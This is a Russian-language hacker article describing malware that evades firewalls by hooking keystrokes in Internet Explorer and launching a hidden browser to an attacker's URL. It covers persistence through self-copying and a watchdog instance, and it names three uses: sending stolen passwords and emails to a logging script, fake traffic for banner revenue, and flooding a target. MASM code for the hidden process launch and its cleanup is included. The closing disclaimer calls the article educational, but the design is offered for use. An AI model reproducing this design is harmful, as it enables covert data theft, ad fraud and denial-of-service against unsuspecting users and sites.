В инете существует много статей на тему обхода firewall-ов. Все они имеют свои недостатки. Самый пока лучший способ - внедрение в процесс, которому доступ через firewall разрешен. Чтобы выполнить код в другом процессе, лучше всего использовать системные хуки. Так будет работать на всех системах линейки m$ windows. Здесь уже есть несколько разновидностей. Можно использовать систему подмену функций WinAPI или выполнение кода в самой функции, которая обрабатывает системный хук. В этой статье я представлю достаточно простой способ обхода firewall с использованием системного хука нажатий клавиш в броузере. Функция будет вызывать еще один экземпляр броузера в невидимом режиме, этот экземпляр броузера будет переходить на указанный url и вызываться это все будет при нажатии клавиши "Enter". Зачем это нам надо и что это даст?

Для тех, кто в бронепоезде, есть как минимум 3 способа использования вызова броузером определенного
url:

1. Стандартный. Отправка практически любых данных. url может содержать адрес скрипта на
php или perl, который будет вести лог файл, определять адреса, отправлять сообщение на почтовый ящик, мобилу, аську.
Все это делается через HTTP и, если броузеру разрешен доступ только по HTTP, то программа будет спокойно работать, тогда как программы, внедряющиеся в процесс броузера и отправляющие данные через smtp, обломаются. Программа также будет работать и на выделенке, которая предоставляет доступ только к одному smtp серверу. И самое главное - это не будет подозрительно тормозить броузер.

2. Раскрутка страницы по посещаемости, зарабатывание на показе баннеров. Если нам не нужны подробности личной жизни какого-нибудь оленевода из ...стана или пижона из Москвы, их пароли и мыло, то программу можно использовать и как раскрутчик страницы по посещаемости или показ баннеров на этой самой странице. То, что наш экземпляр невидим пользователю, еще не значит, что он не работает как полноценный броузер.

3. Противоположность способу 2. Флуд. Если программа будет стоять на достаточно большом количестве компьютеров, то можно элементарно зафлудить какой-либо адрес. И для этого не надо полного контроля за машиной флуд-станции, чистка логов и т.д. Кстати, броузер можно вызывать и с указанием порта: "127.0.0.1:10001".

Еще о достоинствах этого метода:

  • Во-первых, практически у всех доступ броузеру через firewall разрешен.
  • Во-вторых, будет работать и на выделенке и на диалап.
  • В-третьих, после нажатия "Enter", использование траффика будет не так заметно (т.к. видимый экземпляр тоже ломится в инет, то мигание иконки в трее и просмотр открытых портов не вызывает особых подозрений).

Для примера рассмотрим самый популярный броузер - Internet Explorer. При вызове из командной строки "iexplore.exe http://www.domain.com", вызывается окно броузера и открывается url http://www.domain.com. Т.к. вызов происходит в функции обработки хука, а она как бы принадлежит процессу IE, то получить полный путь запуска Internet Explorer - не проблема. Рассмотрим структуру программы:

1. При запуске, программа проверяется на запуск второго экземпляра, переписывает сама себя в системный каталог, создает еще один экземпляр самой себя (для восстановления в случае удаления и для получения необходимого url), создает дополнительную длл с функцией обработки хука и инициализирует хук на нажатие клавиш.

2. При запуске IE, к нему "прикрепляется" наша дополнительная
DLL и в функции обработки ждет нажатия "Enter".

3. Если "Enter" нажат, берет из еще одного экземпляра нашего exe url и вызывает еще один экземпляр IE.

Url мы будем писать в конец нашего exe-файла - добавим просто 256 символов, которые начинаются с url и дополняются 0. Для этого даже конфигуратора никакого не надо - все можно сделать практически в любом редакторе. Потом функция для получения url перейдет в конец файла, сдвинется на 256 символов к началу и прочитает строку, длиной 256.

Также функция должна выяснить - в Explorer-у ли она прицепилась. Здесь все достаточно просто - получим заголовок окна. Последние 17 символов при практически любом открытом url - "Internet Explorer". Получение заголовка окна делается так: 

invoke GetForegroundWindow
.IF eax != 0 
invoke SendMessage, eax, WM_GETTEXT, 1024, addr Zagolovok
.ENDIF

Потом сравниваем последние 17 символов Zagolovok с "Interner Explorer". Здесь нам мелкософт облегчили задачу до предела.
Функция должна определить запускала ли она уже скрытый экземпляр (делается через переменную), к IE ли она прицепилась (см. выше), вызвать в скрытом режиме IE с параметром - url и потом закрыть это скрытое окно. Вызов IE будем делать так: 

;
данные
.DATA 
StartupInfo STARTUPINFO <>
ProcessInfo PROCESS_INFORMATION <>
probel db " ",0
url db " http://www.domain.com",0

; ------------
.DATA?
DopStr db 6660 dup(?)

; ------------
; Код
; skip
;
Получение пути
invoke GetModuleFileName,NULL,addr DopStr, 1024
;
инициализация StartupInfo
mov StartupInfo.cb, Sizeof StartupInfo
mov StartupInfo.dwFlags, STARTF_USESHOWWINDOW
;
запуск - скрыто
mov StartupInfo.wShowWindow,SW_HIDE
;
сформируем командную строку
invoke lstrcat, addr DopStr, addr probel
invoke lstrcat, addr DopStr, addr url
;
вызов окна IE
invoke CreateProcess, NULL, addr DopStr, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, offset StartupInfo, offset ProcessInfo

Невидимое окно Explorer-а надо потом как-нибудь закрыть. Самый лучший способ - закрывать при закрытии видимого окна. В обработчике "открепления"
DLL напишем такой код: 

.ELSEIF reason == DLL_PROCESS_DETACH
.IF ProcessInfo.hProcess !=0
invoke TerminateProcess, ProcessInfo.hProcess, 0
invoke CloseHandle, ProcessInfo.hThread
invoke CloseHandle, ProcessInfo.hProcess
.ENDIF

Полные исходники я решил не выставлять в этой статье. Главное - идея. На моей странице есть целый ряд статей по внедрению в m$ windows, написанию клавиатурного шпиона, скреплению файлов и т.д. Руководствуясь этими статьями написать реализацию этой идеи на любом языке программирования - можно. Также можно написать и получение броузера по умолчанию и его вызов, указание количества вызовов в день или при смене IP и т.д.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии